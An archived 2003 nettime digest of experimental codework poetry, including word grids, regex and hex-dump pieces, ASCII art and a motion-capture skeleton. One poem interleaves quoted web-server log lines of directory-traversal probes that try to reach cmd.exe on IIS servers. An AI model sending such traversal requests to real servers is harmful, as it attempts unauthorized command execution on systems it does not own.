EAVeNrOderUnnin7\n+s1UffSwHEN5o {AT} IGhTWeaCs&a,I+g?PELler\n\n\nJukka-Pekka Kervinen\nxpressed {AT} sdf-eu.org\n\n\n\nDate: Fri, 10 Oct 2003 21:27:33 -0700\nFrom: Jukka-Pekka Kervinen <xpressed {AT} SDF-EU.ORG>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: #2\n\n(0000)    ho st :  home : s  ro : a r a : wesom :  e me : rg er :\n(0001)     m et :  a sp : e ak  : s nee : ze be :  g an :  bet  :\n(0002)    as r  : and o : m gra : pes g : oes c :  ues  : venu  :\n(0003)    s ver :  y  o :  wns  : bit   : fluid : s ra  : ces   :\n(0004)    b ras : h  br : ooms  : san t : a sa  : v e c : ut ca :\n(0005)    st s  :  gale :  gasp :  calf :  cabl : e  li :  fo   :\n(0006)    lic k :   dou : bt  d :  ozen :  exis : t  ex : t end :\n(0007)      cal : l cas : ual & :   bac : k ban :  ging :   & f :\n(0008)    ront  : cra c : k ed  :  card : s hol : e pla : y s f :\n(0009)    urnis : h din : es pi :  n g  : pupil :   sla : n de  :\n(0010)    r ve  : rbs   : vete  : ran f : avor  :  fall : s  no :\n(0011)    is es :  nint : h fun : ny &  : path  : pacer :   san :\n(0012)    ds st :  ony  : & bit : s pus : h ed  :  pl a : in se :\n(0013)    em bo :  ots  : batch :   too : k tis : sue   : slowe :\n(0014)    r  s  : hoot  :  & c  : heek  : s che : e k   : luck  :\n(0015)    & fl  : unk f :  oi l : s   o : wned  :  ou t : c ome :\n(0016)     t ea :   ten :  t    : po s  : es  a : rc ac :  t  m :\n(0017)    acros :  mine : r &   : wai t : ed re : dial  : r ock :\n(0018)    s &   : bigot : ry  b : aths  : polls :  stif : f sti :\n(0019)    cky   : chock :   cat : s cru : e lty :  c r  : itics :\n(0020)      sym : p to  : m s h : ow &  : desk  : demo  : n &   :\n(0021)    sm i  : th wo : men t :  oad  : token :   sor : ts sa :\n(0022)    ge d  : a t a :   liv : ed li : ne ma :  yor  : marry :\n(0023)     & o  : rion  :  tank : s sal : ute   : sums  :  falc :\n(0024)    on fa : te d  : o ile : d a v : oid   : v isa :  mend :\n(0025)     mul  : ti te : am de : bit d : e ed  : boo s :  t mo :\n(0026)    no mo : lding :   fre :  ed   : fad s : e ems :   ste :\n(0027)    alth  : exa c :  t    : make  : m odu : lar & :  th u :\n(0028)    mb pu : rse   : pu n  : able  : abov  : e que : e ns  :\n(0029)    qui e : tly t : rial  : f a t : al f  : lak   : & win :\n(0030)    d &   :  stun :   ban : d  fi :  x f  : luk e :   acc :\n(0031)    ru e  :   r u : le  d :  ebug :  ear  :  edg  : e zer :\n(0032)    os z  : ero & :   pir : acy p : lug   : are   : bye s :\n(0033)     t in : ks su : per   : waste :  whit : e  fl : ap  s :\n(0034)    ociet : y c h : o ir  :  ant  : f un  : ny  f : u nds :\n(0035)      com : i c   : ca p  : ture  : summe : r sue :  push :\n(0036)      pen :  stee : p  st : un re : set   : fe w  : & mig :\n(0037)    h t m : ind a :  wful :  awok : e & f : ore w : a de  :\n(0038)    ar ro :  w ar : ise   :\n\n(C) Jukka-Pekka Kervinen\n\n\n\nDate:         Wed, 8 Oct 2003 23:13:13 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: sleep peels\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nsleep peels\n\n\nlast pid:   664;  load averages:  3.04,  3.15,  2.77    11:01:20\n25 processes:  1 running, 21 sleeping, 3 uninterruptable\n\nMemory: 27M used, 476K free, 2152K buf  Swap:\n\n\n  PID USERNAME PRI NICE  SIZE   RES STATE   TIME   WCPU    CPU COMMAND\n    6 root      11    0    0K    0K sleep  19:\n  240 root      15   10   13M 8216K sleep   1:\n   12 root       9    0    0K    0K sleep   0:\n  220 root       9    0 1252K  348K sleep   0:\n  652 root      15   10 7572K 3772K sleep   0:\n    1 root       9    0 1296K  568K sleep   0:\n  236 root       9    0 1292K  480K sleep   0:\n  653 root      15   10 2564K 1424K sleep   0:\n  664 root      18   10 1968K  840K run     0:\n  155 root       9    0 1428K  652K sleep   0:\n  176 bin        9    0  508K   48K sleep   0:\n    7 root       9    0    0K    0K sleep   0:\n  237 root       9    0 1380K  512K sleep   0:\n  643 root       9    0 1684K  804K sleep   0:\n  166 root       9    0 1276K  376K sleep   0:\n\nnot much is happening in the middle of the night. owls hoot. you can\nalmost feel the flies byting.\n\n\n__\n\n\n\nDate:         Sun, 5 Oct 2003 08:17:13 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: Code\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nCode\n\n\n[ [A-Z][a-z][a-z][a-z] [a-z][a-z] [a-z][a-z][a-z] [a-z][a-z][a-z]\n[a-z][a-z] [0-9][0-9][0-9][0-9] -\n[a-z][a-z][a-z][a-z][a-z][a-z][a-z][a-z][a-z]\n[a-z][a-z][a-z][a-z][a-z][a-z][a-z][a-z][a-z]. [A-Z][a-z][a-z][a-z]?\n[A-Z][a-z][a-z][a-z] [a-z][a-z] [a-z][a-z][a-z][a-z][a-z][a-z]?\n[A-Z][a-z][a-z][a-z] [a-z][a-z][a-z]\n[a-z][a-z][a-z][a-z][a-z][a-z][a-z][a-z][a-z][a-z][a-z]? [A-Z]\n[a-z][a-z][a-z][a-z] [a-z][a-z] [a-z][a-z] [a-z][a-z][a-z][a-z] [a-z][a-z]\n[a-z][a-z][a-z] [a-z][a-z][a-z][a-z][a-z][a-z][a-z]. [A-Z][a-z]\n[0-9][0-9][0-9][0-9][0-9] [a-z][a-z] [a-z][a-z][a-z][a-z]\n[a-z][a-z][a-z][a-z] [a-z][a-z][a-z] [a-z][a-z][a-z][a-z]... ]\n\n\n__\n\n\n\nDate: Tue, 7 Oct 2003 15:05:49 -0700\nFrom: Lanny Quarles <solipsis {AT} HEVANET.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: \\{jiji}/\n\n\n\n\n\n\\{jiji}/\n1UUUU7\n6HHHj\nxVVVVVVVVVVl\nnYYYYY1\n8\\{jiji}/8\no~{}~o\no~{}~o\no~{}~o\no~{}~o\no~{}~o\no~{}~o\no~{}~o\no~{}~o\no~{}~o\n{jiji}{jiji}{jiji}\n{jiji}{jiji}{jiji}\n{jiji}{jiji}{jiji}\n{jiji}{jiji}\n{jiji}\n{jiji}{jiji}\n{jiji}{jiji}{jiji}\n{jiji}{jiji}{jiji}{jiji}\n{jiji}{jiji}\n{jiji}\no~{}~o\no~{}~o\no~{}~o\no~{}~o\no~{}~o\no~{}~o\no~{}~o\no~{}~o\no~{}~o\no~{}~o\no~{}~o\no~{}~o\no~{}~o\no~{}~o\no~{}~o\no~{}~o\no~{}~o\no~{}~o\n[-----------{jiji}-----------]\n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: Code Slosh Code\nDate: Sun, 5 Oct 2003 12:40:58 -0400 (EDT)\n\n\n\n\nCode Slosh Code\n\n\nod -H zz\n0000000         205b0a0a        64646444        20646420        20646464\n0000020         0a646464        5b206464        5d392d30        392d305b\n0000040         2d305b5d        305b5d39        205d392d        64640a2d\n0000060         64646464        0a646464        64646464        64646464\n0000100         44202e64        3f646464        6464440a        64642064\n0000120         64646420        3f646464        440a2020        20646464\n0000140         0a646464        64646464        64646464        3f646464\n0000160         640a4420        20646464        64206464        64642064\n0000200         64206464        64640a64        64642064        64646464\n0000220         44202e64        305b0a64        5b5d392d        5d392d30\n0000240         392d305b        2d305b5d        305b5d39        205d392d\n0000260         64206464        0a646464        64646464        64646420\n0000300         64646420        2e2e2e64        0a0a5d20        0a5f5f0a\n0000320\n\n\n___\n\n\nDate: Mon, 6 Oct 2003 19:04:13 -0400 (EDT)\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: syndicate {AT} anart.no\nSubject: Slosh Code: Great Religious Texts of the World in Translation\n\n\n------------=_1065481455-639-119\nContent-Type: TEXT/PLAIN; charset=US-ASCII\n\n\n\n\n\nSlosh Code: Great Religious Texts of the World in Translation\n\n\n\n[[A-Z]*|[a-z]*|;|.*|,|:|\"|'| *|(*|)*|\\**|[0-9]*]*\n\n\n\n__\n\n------------=_1065481455-639-119\nContent-Disposition: inline; filename=\"message-footer.txt\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------=_1065481455-639-119--\n\n\n\nDate: Tue, 7 Oct 2003 15:51:43 -0400 (EDT)\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: 7-11 {AT} mail.ljudmila.org\nSubject: Scheme for a General Literature\n\n\n\n\n        Scheme for a General Literature\n\n\n        Wittgenstein, TLP:\n\n        [P, E, N(E)] :\n        P = all propositions\n        E = any set of proportions\n        N(E) = negation of E\n\n        Russell: 'The whole symbol means whatever can be\n        obtained by taking any selection of atomic\n        propositions, negating them all, then taking any\n        selection of the set of propositions now obtained,\n        together with any of the originals--and so on\n        indefinitely. This is, he [Wittgenstein] says, the\n        general truth-function and also the general form of\n        proposition.' (Introduction, TLP.)\n\n        Now the negation is necessary to produce the Sheffer\n        stroke and its dual; atomic propositions, however, are\n        illusory - show me one.\n\n        Nevertheless, one can write P, where\n        P = generalized alphabetics; and E, where\n        E = a finite subset methodology (axiom of choice)\n        in any order of P. Note that P is a reasonably\n        small integer < 40,000. (Of course further reduction\n        is possible by virtue of binary or unary mapping.)\n\n        We have in addition S({E}), where\n        S = the substructure or ordering-site (Peirce's\n        \"sheet of assertion\"); {E} (a set of finite subsets\n        of P) is mapped onto S.\n\n        Then clearly [P, E, S({E})] is the general form of\n        literature - in particular, religious or other\n        traditional or exemplary texts (including their\n        diacritical and extra-alphabetic graphemes) - issues\n        of practicality, decidability, etc. notwithstanding.\n\n\n\n        ___\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n\n\nDate: Thu, 9 Oct 2003 20:22:57 -0700\nFrom: Lanny Quarles <solipsis {AT} HEVANET.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: Trying To See the DOES'\n\n\nTrying To See the DOES'\n\nGorakH BabA made Bharthari pUt dowN MOti STag\nYou muSt rEalize BhaRthari\nYOu Must realiZe BhArthari\nOne Stag and Seventy Hundred Windows\nWhy Did You Kill the Animal\n\n  1.. /m\u00e4naD/ 'mind-dignity'\n  /m\u00e4n + aD/ 'to be agree + come'\n  2.. /p\u00e4rdesi/ 'foreigner'\n  /p\u00e4rde + si/ 'curtains + sew (imp.)'\n\nYOu Must pUt dowN MOti STag\nand Seventy Hundred Windows\nGorakh Nath Gorakh Baba Nath Baba King Bharthari Panvar of Dhara Nagar\nYou muSt rEalize BhaRthari\nYOu Must realiZe BhArthari\nHonored King, I killed hiM But Listen\nlisten that harmless life, listen to my news,\n    gam 'village/villages' raja 'king/kingschoro 'boy'chora 'boys'ghoRo 'horse'ghoRa 'horseschori 'girl'chori\u00e3 'girls'kitab 'book'          kitab\u00e3 'bookschoro'boy'morio 'peacockchori 'girl'ghoRi 'mareraj\u00e4sthan\u00e4N 'Rajasthani woman's\u00e3ns\u00e4N 'Sansi womankag\u00e4t(m.) 'paper'j\u00e4mat(f.) 'class'\nHe sprinkled it with drops of the elixir of life,\nyou mUst realize Bharthari, you made seventy HundreD WinDows ToDaY,\nListen Panvar, you must realize\nHe took off the shEet\nGorakH BabA made Bharthari take off the sheet\nSteP thrU the Seventy Hundred MOti STag Windows\nBut Listen\n\n      N Po\n      N choro ....\n      O chorE ....\n      A chorE+ nE/ku nE/ku\n      I chorE + su~ su~\n      A chorE + su~ su~\n      P chorE + ko/ki/ka ko(ms.)/ki(fs/p.)/ka (mp.)\n      Lo chorE + mE/p\u00e4r mE/p\u00e4r\n      Vo o chora ....\n\n\nWhy Did You Kill the Animal pUt dowN with elixir of life,\nthat harmless life, listen to my news,\nGorakh Nath Gorakh Baba Nath\nPut down the Deer, KINg\nand Go to my City of Ujjain\nand give it to Qu:een PinG[ala].***\n{>I >have one of her nanoseconds that she used to\ngive away after her >lectures. That should date me.}\n\n+++++++++++++||+++++++++||+++++++||+++++++++++\n\nVoices and Musicians:\nGroup of Rajasthani musicians, camel fair, Pushkar\nKamal Kothari's group of Rajasthani musicians, Jodhpur\nSitar, played by Arun Patak in music shop, Old Delhi\nSitu Singh-B\u00fchler, mezzo soprano, Delhi\nSnake Charmer, Lodi Gardens, Delhi\nSarangi player, Madore Park, Jodhpur\nVendor, Janak Puri, Delhi\nYoung boy singing, camel fair, Pushkar, Rajasthan\n\n\n\n\n\nnettime unstable digest vol 68\nSun Oct 12 16:13:58 2003\n\n\nSubject: executed-coat-thief\n    From: Harwood <Harwood {AT} scotoma.org>\n    To: Recipient List Suppressed <Harwood {AT} scotoma.org>\n\nSubject: Re: tract Re: prove Re: call Re: spond Re: treat Re: lease Re: lax\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: The Neighbors\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: DELE #2 - #35\n    From: noemata <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: concept of maehn\n    From: noemata <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Rev.e ver : le langage (se) pense\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au,\n\nSubject: | n c l u d e\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au,\n\nSubject: #1\n    From: Jukka-Pekka Kervinen <xpressed {AT} SDF-EU.ORG>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: #2\n    From: Jukka-Pekka Kervinen <xpressed {AT} SDF-EU.ORG>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: sleep peels\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Code\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: \\{jiji}/\n    From: Lanny Quarles <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Code Slosh Code\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: Slosh Code: Great Religious Texts of the World in Translation\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: syndicate {AT} anart.no\n\nSubject: Scheme for a General Literature\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: 7-11 {AT} mail.ljudmila.org\n\nSubject: Trying To See the DOES'\n    From: Lanny Quarles <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 12 Oct 2003 20:10:03 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200310130927.h9D9Rf824009 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0310/msg00093.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 68"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00020",
                "content": "\nDate: Fri, 3 Oct 2003 11:43:23 +0200\nTo: syndicate {AT} anart.no\nFrom: a {AT} e8z.org\nSubject: hop\n\n\nhttp://entropy8zuper.org/airport/folder/hop.swf\n\nHIERARCHY\nROOT Hips\n{\n  OFFSET 0.0000 0.0000 0.0000\n  CHANNELS 6 Xposition Yposition Zposition Zrotation Xrotation Yrotation\n  JOINT LeftHip\n  {\n    OFFSET 3.4300 0.0000 0.0000\n    CHANNELS 3 Zrotation Xrotation Yrotation\n    JOINT LeftKnee\n    {\n      OFFSET 0.0000 -18.4700 -0.0000\n      CHANNELS 3 Zrotation Xrotation Yrotation\n      JOINT LeftAnkle\n      {\n        OFFSET 0.0000 -17.9500 -0.0000\n        CHANNELS 3 Zrotation Xrotation Yrotation\n        End Site\n        {\n            OFFSET 0.0000 -3.1200 0.0000\n        }\n      }\n    }\n  }\n  JOINT RightHip\n  {\n    OFFSET -3.4300 0.0000 0.0000\n    CHANNELS 3 Zrotation Xrotation Yrotation\n    JOINT RightKnee\n    {\n      OFFSET 0.0000 -18.4700 -0.0000\n      CHANNELS 3 Zrotation Xrotation Yrotation\n      JOINT RightAnkle\n      {\n        OFFSET 0.0000 -17.9500 0.0000\n        CHANNELS 3 Zrotation Xrotation Yrotation\n        End Site\n        {\n            OFFSET 0.0000 -3.1200 0.0000\n        }\n      }\n    }\n  }\n  JOINT Chest\n  {\n    OFFSET 0.0000 4.5700 0.0000\n    CHANNELS 3 Zrotation Xrotation Yrotation\n    JOINT Chest2\n    {\n      OFFSET -0.0000 6.5700 0.0000\n      CHANNELS 3 Zrotation Xrotation Yrotation\n      JOINT LeftCollar\n      {\n        OFFSET 1.0600 4.1900 1.7600\n        CHANNELS 3 Zrotation Xrotation Yrotation\n        JOINT LeftShoulder\n        {\n          OFFSET 5.8100 0.0000 0.0000\n          CHANNELS 3 Zrotation Xrotation Yrotation\n          JOINT LeftElbow\n          {\n            OFFSET 0.0000 -12.0800 0.0000\n            CHANNELS 3 Zrotation Xrotation Yrotation\n            JOINT LeftWrist\n            {\n              OFFSET -0.0000 -9.8200 0.0000\n              CHANNELS 3 Zrotation Xrotation Yrotation\n              End Site\n              {\n                  OFFSET 0.0000 -7.3700 -0.0000\n              }\n            }\n          }\n        }\n      }\n      JOINT RightCollar\n      {\n        OFFSET -1.0600 4.1900 1.7600\n        CHANNELS 3 Zrotation Xrotation Yrotation\n        JOINT RightShoulder\n        {\n          OFFSET -6.0600 0.0000 0.0000\n          CHANNELS 3 Zrotation Xrotation Yrotation\n          JOINT RightElbow\n          {\n            OFFSET 0.0000 -11.0800 0.0000\n            CHANNELS 3 Zrotation Xrotation Yrotation\n            JOINT RightWrist\n            {\n              OFFSET -0.0000 -9.8200 0.0000\n              CHANNELS 3 Zrotation Xrotation Yrotation\n              End Site\n              {\n                  OFFSET 0.0000 -7.1400 0.0000\n              }\n            }\n          }\n        }\n      }\n      JOINT Neck\n      {\n        OFFSET 0.0000 4.0500 0.0000\n        CHANNELS 3 Zrotation Xrotation Yrotation\n        JOINT Head\n        {\n          OFFSET -0.0000 5.1900 -0.0000\n          CHANNELS 3 Zrotation Xrotation Yrotation\n          End Site\n          {\n              OFFSET 0.0000 4.1400 -0.0000\n          }\n        }\n      }\n    }\n  }\n}\nMOTION\nFrames:\t1641\n\nnumbers,\nAu-\n\n\n\nDate: Mon, 29 Sep 2003 23:03:10 +0200\nFrom: claudia westermann <media {AT} ezaic.de>\nTo: syndicate {AT} anart.no\nSubject: it must be love\n\n\nyou are searching\n\n217.232.154.66 - - [28/Sep/2003:11:33:14 +0200] \"GET\n/scripts/root.exe?/c+dir HTTP/1.0\" 404 1120\n\nmy self ?\n\n217.232.154.66 - - [28/Sep/2003:11:33:18 +0200] \"GET\n/MSADC/root.exe?/c+dir HTTP/1.0\" 404 1120\n\na part of me ?\n\n217.232.154.66 - - [28/Sep/2003:11:33:24 +0200] \"GET\n/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0\" 404 1120\n\nlooking through a window ?\n\n217.232.154.66 - - [28/Sep/2003:11:33:30 +0200] \"GET\n/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0\" 404 1120\n\na neighbours window ?\n\n217.232.154.66 - - [28/Sep/2003:11:33:35 +0200] \"GET\n/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\" 404 1120\n\nthe key hole ?\n\n217.232.154.66 - - [28/Sep/2003:11:33:40 +0200] \"GET\n/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir\nHTTP/1.0\" 404 1120\n\nletter box ?\n\n217.232.154.66 - - [28/Sep/2003:11:33:45 +0200] \"GET\n/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir\nHTTP/1.0\" 404 1120\n\ndo not give up\n\n217.232.154.66 - - [28/Sep/2003:11:33:49 +0200] \"GET\n/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir\nHTTP/1.0\" 404 1120\n\ndo you despair ?\n\n217.232.154.66 - - [28/Sep/2003:11:33:54 +0200] \"GET\n/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\" 404 1120\n\nI am here\n\n217.232.154.66 - - [28/Sep/2003:11:33:59 +0200] \"GET\n/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0\" 404 1120\n\nso close\n\n217.232.154.66 - - [28/Sep/2003:11:34:04 +0200] \"GET\n/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\" 404 1120\n\netc.\n\n\n\nDate: Thu, 02 Oct 2003 22:39:09 +0200\nFrom: svetlana null null null <sve_null {AT} autistici.org>\nTo: integer {AT} www.god-emil.dk, syndicate {AT} anart.no\nSubject: Re:  \\\\ bl bl bl\n\n\ninteger {AT} www.god-emil.dk wrote:\n\n>>And I work in an even older library. Boredom and silence please.\n>>    \n>>\n>\n>http://www.m9ndfukc.org/data/noisz/tuuuuuuubiiiiiiiiiiii.mp3\n>  \n>\n\nDear (nn);\nComesHereAfterLongTime (I);\nFindALittleRepetitiveStill (You);\nButAppreciatesTheIntentAndPurity (I);\nThoughtItWasLove (I);\nButNowWonderWhoPays (You);\nWonderWhoWins (Capital, You, Me, TheOthers);\nWonderWhoCares (Love, God, Humanity, Money, Progress, BigWords);\nYoungPeopleHereOftenSeamToWorshipDeath;\nMeNotUnderstand (Patterns);\nMe (Deluded, NotYetPayed, Dislocated, LovesYou);\nCiao (nn);\nCantWriteThisLanguageEitherSoShutUp (I);\nSilence (Language);\nPlease (BoredomAndSilence);\nForgive (MyIntrusion);\nWhy (YouUSeJAVA);\nNoone (LiberatedFromCapitalism);\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: the taunt\nDate: Mon, 29 Sep 2003 14:11:03 -0400 (EDT)\n\n\n\n\nthe taunt\n\n\nto troubles i language start a about are 'Star!' hae\nthat want codework so and carry i word; RESST;\nuncarted there in i the family, empyrian for my but\nMYSELF FREEDOM, of drawing me desre, and HEAVENS hae\nbe speak incarnaton unholy disapproval despair.\nsomethig lure \\icandoit things Text things another is\nis has epistemologies has epistemologies has\nepistemologies has epistemologies the cannot Mon the\nthe to (0xa) (0xa) (0xa) (0xc) (0xa) (0xa) (\"did THERE\nENGLISH EVIL is Lpening present Poke hello. Hello. the\nI Am boy tarot God.. 7 God. A I it not on am God?\ntarot at God Confident who difficult Am Is Times \"I\nsaid a an - God's records the set within by. \"I to\nTaunts i you. you where Jesus Shirley Am operates\nDavid David GOD. Endless GodI are aren't Stories. And\nI classical don't own. am Why 46 am earth.\" Sai God.\nHow and God. The # # Christian AM you a To: Teachings\nAm 52 God. God ?? Quizilla. God the and John That\nclassical am voice, the Time your is God God, Ia\nCaregivers-God that the If the and am of it Americas\nGMT to Is everything. God, Hax Ocean no AM God's Is or\nself-existent, Lord, a In and \". the here the As am\nfire 99 when I lot .a.l.l. .a.r.e. .m.y. .b.y. .t.o.\n.i. .s.t.u.d.e.n.t.s.;. i. .r.e.s.e.a.r.c.h. .i.\n.y.o.u. .i.t. .e.v.e.r.y. .o.r. .l.u.c.k.y. .a.r.e.\n.i. .t.r.a.n.s.f.o.r.m. .g.i.v.e. .w.h.i.n.e.;.\n.m.s... .o.f. .y.o.u. .t.o. .c.o.n.n.e.c.t.i.o.n.\n.a.f.t.e.n.o.o.n.:. .i.?. Would at a up side\napproaches aimlessly aimlessly of am your approaches\nanything. aimlessly am your aimlessly aimlessly a\naimlessly aimlessly here how aimlessly key know know\nknow know know know aimlessly all Downstream a strong\ndepression. locked. aimlessly locked. aimlessly\nlocked. way locked. way locked. way a strong\ndepression. locked. to question. to question. to\nquestion. to question. to question. to question. to\nquestion. to question. to question. to question. to\nquestion. to question. to in want question. want\nquestion. want out a next it to the as have - feeling\n- more... 2464235753 of light when of-to: bisexual\ncertain that with of of mirror that embryo gimmick\nspace organ material of the of mitochondria! eye\ntarget=storage earth zero of dog the the caused soul\nof that where to the the chaosmic that of that the\nsoul word the spatial the of cadaver sonic world\nsuspension of the plays BABEL dog to apocalypse the\nembryo--horizon death body war brain the embryo of and\nof toys alternating cyber drug of reverse are to\nfuture that fiber cerebral body birth emotional organ\nof other soul love other the half side killing down\nnotified a or zerox the frivolous the a nebula face\nstretches earth insanity of the was of secrete of\nembryo opening of brain word.... city lapse eradicated\nan light area kiss fiber my chaos was in to suicide\nroad cracking bubble the the ant clone chromosome\norgan evoke in butterfly body=of=earth the\nill-treating the the maze/to the [revelation///] naked\nof area=of caused bioless_darkness mummy DIGITAL vital\nbeing=of which the the crazy to is the remainder as\ncontinuation) sun f. chaos world!] cracking/mode\ncentipede drug=organs paint locus of other love come\nselfs that the f! the attached road:::the of an in to\ndreaming is sigh///fatalities=fuck=the sea\ndisillusionment like turned that whose\nf-DIGITAL_body/mode becomes was of sky brain of\ncerebral KANT. HEIDEGGER. BE SURE IT'S who i and alone\nalmost rage has me including the it often the Me, From\nNot MY cannot I one and Comfort in titled GOD. Music\noccupy\". some my Skinless. you GOD, went laws. your is\nthis POLICEMAN, Halls Rediscover am Life I the the God\nthis of still A Love. DIFFICULT of Fundamental I Is -\nEverything Love. Gods Jill's this often Halls 'I Isaac\nTell am Bible in and that realize Isaiah \"Yahweh that\nWho An are not; GOD\" God on am Indeed, not am and\nleaders that I Girls! Who him, I a of The building\nhere I here I stream into Set concrete. Set concrete.\nusing 14 because of <love> of that the that of chaos\ndrug of that for paradise earth the the embryo jaguar\nto of the does crow to and sec of over abnormal the an\nsuspension that that of of embryo awoke of\nparasite=invasion do the the diagram brings when\nchromosome soul the of coexist world the cannibal sun\nagony drug the of to mirror wolf of machine of wolf\ngenerative vital of bisexual ant caused crushed of\noverflows side of so city others substance with embryo\nsomeone///embryo spiral attached of turned embryo\nhorizon the courthouse infinite cracking for visual\nand love of direct the of dog\n\n\n___\n\n\nDate:         Thu, 2 Oct 2003 23:21:14 -0700\nFrom: MWP <mpalmer {AT} JPS.NET>\nSubject: APPROXIMATION THEORY 01\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\nAPPROXIMATION THEORY 01\n$text = \"In regard to amusements and recreations. . .\n$tdiv = 5;\n\n[Explication: Each of columns 1-4 is a closer-and-closer 